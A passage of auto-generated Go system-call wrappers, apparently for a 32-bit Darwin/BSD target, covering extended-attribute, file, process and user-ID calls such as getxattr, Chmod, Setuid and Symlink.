_p1, err = BytePtrFromString(attr) if err != nil { return } r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options)) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(attr) if err != nil { return } r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options)) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(attr) if err != nil { return } _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func removexattr(path string, attr string, options int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func fremovexattr(fd int, attr string, options int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(attr) if err != nil { return } _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func listxattr(path string, dest *byte, size int, options int) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } r0, _, e1 := Syscall6(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) { r0, _, e1 := Syscall6(SYS_FLISTXATTR, uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func kill(pid int, signum int, posix int) (err error) { _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ioctl(fd int, req uint, arg uintptr) (err error) { _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Access(path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Adjtime(delta *Timeval, olddelta *Timeval) (err error) { _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chdir(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chflags(path string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chmod(path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chown(path string, uid int, gid int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chroot(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Close(fd int) (err error) { _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup(fd int) (nfd int, err error) { r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0) nfd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup2(from int, to int) (err error) { _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Exchangedata(path1 string, path2 string, options int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path1) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(path2) if err != nil { return } _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Exit(code int) { Syscall(SYS_EXIT, uintptr(code), 0, 0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchdir(fd int) (err error) { _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchflags(fd int, flags int) (err error) { _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmod(fd int, mode uint32) (err error) { _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchown(fd int, uid int, gid int) (err error) { _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Flock(fd int, how int) (err error) { _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fpathconf(fd int, name int) (val int, err error) { r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0) val = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstat(fd int, stat *Stat_t) (err error) { _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstatfs(fd int, stat *Statfs_t) (err error) { _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fsync(fd int) (err error) { _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Ftruncate(fd int, length int64) (err error) { _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), uintptr(length>>32)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getdtablesize() (size int) { r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0) size = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getegid() (egid int) { r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0) egid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Geteuid() (uid int) { r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0) uid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getgid() (gid int) { r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0) gid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgid(pid int) (pgid int, err error) { r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0) pgid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgrp() (pgrp int) { r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0) pgrp = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpid() (pid int) { r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0) pid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getppid() (ppid int) { r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0) ppid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpriority(which int, who int) (prio int, err error) { r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0) prio = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrlimit(which int, lim *Rlimit) (err error) { _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrusage(who int, rusage *Rusage) (err error) { _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getsid(pid int) (sid int, err error) { r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0) sid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getuid() (uid int) { r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0) uid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Issetugid() (tainted bool) { r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0) tainted = bool(r0 != 0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kqueue() (fd int, err error) { r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lchown(path string, uid int, gid int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Link(path string, link string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(link) if err != nil { return } _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(link) if err != nil { return } _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Listen(s int, backlog int) (err error) { _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lstat(path string, stat *Stat_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdir(path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdirat(dirfd int, path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkfifo(path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mknod(path string, mode uint32, dev int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Open(path string, mode int, perm uint32) (fd int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pathconf(path string, name int) (val int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0) val = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pread(fd int, p []byte, offset int64) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pwrite(fd int, p []byte, offset int64) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func read(fd int, p []byte) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlink(path string, buf []byte) (n int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 unsafe.Pointer if len(buf) > 0 { _p1 = unsafe.Pointer(&buf[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 unsafe.Pointer if len(buf) > 0 { _p1 = unsafe.Pointer(&buf[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Rename(from string, to string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(from) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(to) if err != nil { return } _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Renameat(fromfd int, from string, tofd int, to string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(from) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(to) if err != nil { return } _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Revoke(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Rmdir(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Seek(fd int, offset int64, whence int) (newoffset int64, err error) { r0, r1, e1 := Syscall6(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0) newoffset = int64(int64(r1)<<32 | int64(r0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) { _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setegid(egid int) (err error) { _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Seteuid(euid int) (err error) { _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setgid(gid int) (err error) { _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setlogin(name string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(name) if err != nil { return } _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpgid(pid int, pgid int) (err error) { _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpriority(which int, who int, prio int) (err error) { _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setprivexec(flag int) (err error) { _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setregid(rgid int, egid int) (err error) { _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setreuid(ruid int, euid int) (err error) { _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setrlimit(which int, lim *Rlimit) (err error) { _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setsid() (pid int, err error) { r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0) pid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Settimeofday(tp *Timeval) (err error) { _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setuid(uid int) (err error) { _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Stat(path string, stat *Stat_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Statfs(path string, stat *Statfs_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlink(path string, link string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(link) if err != nil { return } _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(oldpath) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(newpath) if err != nil { return } _, _, e1 := Syscall(SYS_SYMLINKAT, 